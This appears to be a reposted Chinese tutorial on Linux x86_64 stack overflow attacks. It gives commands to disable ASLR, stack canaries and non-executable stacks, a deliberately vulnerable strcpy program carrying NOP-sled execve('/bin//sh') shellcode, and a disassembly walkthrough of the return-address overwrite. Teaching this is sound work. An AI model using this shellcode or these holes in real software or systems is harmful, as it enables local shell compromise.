欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

初识Linux栈溢出攻击

程序员文章站 2022-03-24 09:16:19
...

初识Linux栈溢出攻击

0x00 限定条件

1、关闭aslr(Address Space Layout Randomization)
  开启aslr后,应用程序或动态链接库装载时,系统会随机设定其装载基址。这样就避免了攻击者事先预知特定函数的入口地址。ubuntu下的关闭命令为echo 0 >/proc/sys/kernel/randomize_va_space,该命令需要事先通过su提升到root权限。
2、关闭堆栈段不可执行机制
  如果堆栈段被标记为不可执行,那么覆盖程序栈的shellcode就无法执行。关闭堆栈段不可执行机制的gcc编译命令为-z execstack
3、关闭gs校验机制
  gs校验机制的原理是,进入函数前向程序栈中压入一个随机数,函数返回后检查这个随机数,如果被改写了,就报段错误,结束程序。关闭gs校验机制的gcc编译命令为-fno-stack-protector
测试平台为Ubuntu 15.04 64位,测试代码如下

#include<stdio.h>
#include<string.h>
char s[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x10\xdb\xff\xff\xff\x7f";
int main()
{
    char t[48];
    strcpy(t,s);
    return 0;
}

编译命令gcc -fno-stack-protector -z execstack -g -o stackTest stackTest.c

0x01 shellcode

;shellcode.asm  

BITS 64  
; run execve("/bin//sh", NULL, NULL) Linux x86_64 Shellcode  
; Shellcode size 34 bytes  

global _start  

section .text  

_start:  
    xor    rax,rax          ;clear rax  
    add    rax,0x3b         ;syscall_64.tbl ==> 59 64 execve stub_execve  
    xor    rdi,rdi          ;clear rdi  
    push   rdi          ;push stack (rsp -= 8)  
    mov    rdi,0x68732f2f6e69622f   ;hs//nib/ ==> /bin//sh  
    push   rdi          ;push stack (rsp -= 8)  
    lea    rdi,[rsp]        ;rdi = rsp (%rdi%rsi%rdx%rcx%r8%r9 用作函数参数,依次对应第1参数,第2参数)  
    xor    rsi,rsi          ;clear rsi  
    xor    rdx,rdx          ;clear rdx  
    syscall  

  shellcode是一段二进制机器码,以完成特定的任务,比如要弹出shell,在c语言里就是execve(“/bin//sh”, NULL, NULL)就可以了,execve的调用过程用汇编写就是shellcode.asm中的内容[1]
编译shellcode.asm命令nasm -f elf64 shellcode.asm
可以使用脚本提取机器码for i in $(objdump -d shellcode.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo

0x02 程序运行栈

  gcc把原文件编译为ELF格式的可执行文件,此时ELF文件存储在磁盘上。为了运行这个程序,需要通过系统自带的loader把ELF文件加载到内存中,建立程序运行栈。使用objdump -d stackTest可以查看ELF文件的反汇编代码,整个程序的入口是.text段的_start函数,该函数通过动态链接的方式调用运行库函数__libc_start_main__libc_start_main主要负责三部分工作[2]:(1)程序初始化和加载(调用__libc_csu_init);(2)运行main函数(调用main);(3)main函数结束后进行清理(调用__GI_exit)。
  程序运行栈的结构如下图所示,其中在main函数栈帧上面并紧挨着main函数栈帧的是之前压入栈中的eip寄存器的值,该值指向__libc_start_main函数中的一条语句,目的是在main函数运行完成后跳转回__libc_start_main进行清理工作(调用__GI_exit),这个值就是我们要覆盖并操纵的值。下一节我们以main函数栈帧和在栈中紧挨着它的eip寄存器的值为研究对象,观察main函数运行过程中它们的变化,来弄明白栈溢出攻击是如何实现的。

初识Linux栈溢出攻击

0x03 程序运行过程分解

int main()
{
  400536:   55                      push   %rbp
  400537:   48 89 e5                mov    %rsp,%rbp
  40053a:   48 83 ec 30             sub    $0x30,%rsp
    char t[48];
    strcpy(t,s);
  40053e:   48 8d 45 d0             lea    -0x30(%rbp),%rax
  400542:   be 60 10 60 00          mov    $0x601060,%esi
  400547:   48 89 c7                mov    %rax,%rdi
  40054a:   e8 c1 fe ff ff          callq  400410 <strcpy@plt>
    return 0;
  40054f:   b8 00 00 00 00          mov    $0x0,%eax
}
  400554:   c9                      leaveq
  400555:   c3                      retq   
  400556:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
  40055d:   00 00 00

1、40053a: sub $0x30,%rsp执行完成后main函数栈帧的状态:

初识Linux栈溢出攻击

2、strcpy拷贝过程,先是正常拷贝,然后是溢出覆盖
初识Linux栈溢出攻击

初识Linux栈溢出攻击

3、溢出完成后,程序继续向下执行直到400555: retq,这条语句执行之前,栈的结构如下图所示,rsp已经改变了位置。retq指令将栈顶元素也就是\x10\xdb\xff\xff\xff\x7f弹出到寄存器rip中,这样,下一步要执行的语句的位置就被修改成了0x7fffffffdb10,经过几个\0x90代表的nop指令,就能顺利执行构造的shellcode了。
初识Linux栈溢出攻击

试验结果如下图所示:
初识Linux栈溢出攻击
[1]http://blog.csdn.net/shuimuyq/article/details/50523014
[2]http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html